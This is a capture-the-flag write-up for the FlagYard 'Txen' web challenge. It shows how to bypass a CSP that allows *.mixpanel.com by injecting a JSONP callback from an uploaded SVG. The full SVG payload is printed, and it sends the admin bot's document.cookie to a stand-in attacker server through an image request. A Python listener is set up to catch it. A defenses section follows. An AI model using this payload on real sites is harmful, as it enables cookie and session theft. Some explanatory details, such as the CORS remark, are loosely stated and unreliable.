Txen – [Web] (Medium) - FlagYard
1. Challenge Overview
Challenge Description
We proudly introduce our latest, completely impractical file-sharing service.
Txen is a web exploitation challenge from FlagYard that presents a deceptively simple file-sharing application. Users can upload files through a straightforward endpoint. The catch? There’s an admin bot that visits user-provided URLs, and hidden somewhere in its browser session is a flag cookie we need to steal.
At first glance, this seems straightforward—upload a malicious SVG, make the bot view it, exfiltrate the cookie. The reality is much trickier. The server has implemented a strict Content Security Policy that blocks most traditional attack vectors. Our task: find a creative bypass that respects the CSP while still executing arbitrary JavaScript in the bot’s browser.
2. Reconnaissance & Initial Analysis
The CSP Gauntlet
The first thing we discover when the bot loads our SVG is the response headers:
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Content-Security-Policy: script-src 'self' *.facebook.com *.mixpanel.com platform.twitter.com syndication.twitter.com;
Let’s break down what this policy allows:
'self'— scripts loaded from the same origin only*.facebook.com— Facebook’s domain and subdomains*.mixpanel.com— Mixpanel analyticsplatform.twitter.comandsyndication.twitter.com— Twitter’s specific endpoints
What it blocks:
- Inline
<script>tags - Event handlers (
onclick,onerror, etc.) eval()or similar- Arbitrary third-party domains
SVG in the Same-Origin Context
A critical observation: when the server serves our SVG with Content-Type: image/svg+xml and same-origin URL, the browser loads it in the same security context as the main page. This means:
- Our SVG can access
document.cookieif we execute JavaScript - But CSP still applies—we can’t just inline scripts
However, we notice the CSP doesn’t have explicit frame-src or img-src restrictions. This is important for later.
The Mixpanel Clue
*.mixpanel.com in the CSP is the smoking gun. Mixpanel is a web analytics platform that supports JSONP callbacks. Many analytics endpoints use JSONP for cross-origin requests, accepting a callback parameter and wrapping the response in that callback function.
For example:
https://api.mixpanel.com/track?data=eyJkIjp7fX0=&callback=mycallback
Might return:
mycallback({"status": "ok"})
The key insight: If we can control the callback parameter with an arrow function, we can inject arbitrary code that will execute within the CSP-allowed Mixpanel domain.
3. Building the Exploit
Step 1: Understanding SVG’s foreignObject
SVG has a powerful feature: the <foreignObject> element allows embedding HTML/XML content directly into SVG. When rendered, these foreign objects become part of the DOM in the page’s security context.
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="300">
<foreignObject x="20" y="90" width="150" height="200">
<!-- HTML content here gets rendered in the page context -->
<p xmlns="http://www.w3.org/1999/xhtml">
<!-- We can embed anything here -->
</p>
</foreignObject>
</svg>
The critical detail: the <script> tag within a <foreignObject> respects CSP, but <script src=""> can load from CSP-allowed origins.
Step 2: Crafting the JSONP Callback Payload
We want to execute:
new Image().src = 'https://our-server.com?cookie=' + document.cookie
This sends the cookie to our attacker-controlled server via an image request (a technique that bypasses CORS restrictions since the browser always sends cookies with image requests to same-origin or cross-origin with credentials).
We wrap this in an arrow function as a JSONP callback:
(()=>{new Image().src='https://our-server.com?c='+document.cookie})
But we need to be careful—URL encoding is essential. When we embed this in a URL, special characters like +, &, =, etc., need proper encoding:
(()=>{new Image().src='https://our-server.com?c='%2bdocument.cookie})
(Note: %2b is the URL-encoded form of +)
Step 3: Constructing the Final SVG Payload
Here’s our refined attack vector:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject x="20" y="90" width="150" height="200">
<p xmlns="http://www.w3.org/1999/xhtml">
<script src="https://api.mixpanel.com/track?data=eyJkIjp7fX0=&ip=1&callback=(()=>{new+Image().src='https://receiver.com?c='%2bdocument.cookie})"></script>
</p>
</foreignObject>
</svg>
Breaking this down:
- The
<script src>loads fromapi.mixpanel.com, which is CSP-allowed - The
dataparameter contains base64-encoded dummy data (required by Mixpanel API) - The
callbackparameter contains our malicious arrow function, URL-encoded - When the script loads, Mixpanel executes:
(()=>{...})({...}), which is immediately invoked - Inside our function, we create an
Imageobject and set itssrcto our exfil endpoint with the cookie
4. Exploitation Workflow
Phase 1: Set Up Command & Control
Before launching the attack, we need a server listening for incoming cookie exfiltration:
# Simple Python HTTP server to capture requests
python3 -m http.server 8000
When the bot visits our payload and the JavaScript executes, we’ll see requests like:
GET /track?c=FLAG{...} HTTP/1.1
Phase 2: Create and Upload the Payload
- Save the SVG payload above to a file (e.g.,
payload.svg) - Upload it to the Txen file-sharing service
- The server responds with a URL like
https://txen-app.com/public/uploads/abc123.svg
Phase 3: Trigger the Bot
Report the upload URL to the admin bot:
https://txen-app.com/uploads/abc123.svg
Note we removed the
/publicsegment from the URL to match the bot’s expected path.
Phase 4: Capture the Cookie
The bot:
- Loads our SVG file
- Parses the
<foreignObject>and<script>tag - Requests from
https://api.mixpanel.com/track?... - Mixpanel wraps our callback and returns the JavaScript
- The IIFE executes, creating an
Imageobject - The image
srcis set to our exfil server withdocument.cookieappended - The browser sends the request with the bot’s cookies attached
- We capture the flag cookie on our server
5. Key Learnings
Why This Works:
- SVG’s
foreignObjectallows us to embed executable scripts while staying in the same security context - CSP allowlists specific domains but doesn’t prevent JSONP callback injection
- JSONP endpoints that accept
callbackparameters are notorious for this vulnerability - Mixpanel (and similar analytics services) are frequent vectors because they’re explicitly allowed in CSPs
Defenses Against This:
- Never allowlist third-party analytics or social media domains that support JSONP in CSP
- Use
strict-dynamicin CSP to prevent script injection vectors - Disable JSONP callbacks or use proper callback validation
- Implement
SameSite=Stricton sensitive cookies to prevent exfiltration - Use sub-resource integrity (SRI) for external scripts
This challenge perfectly illustrates how even “restrictive” security policies can be bypassed with creative thinking and knowledge of third-party service vulnerabilities.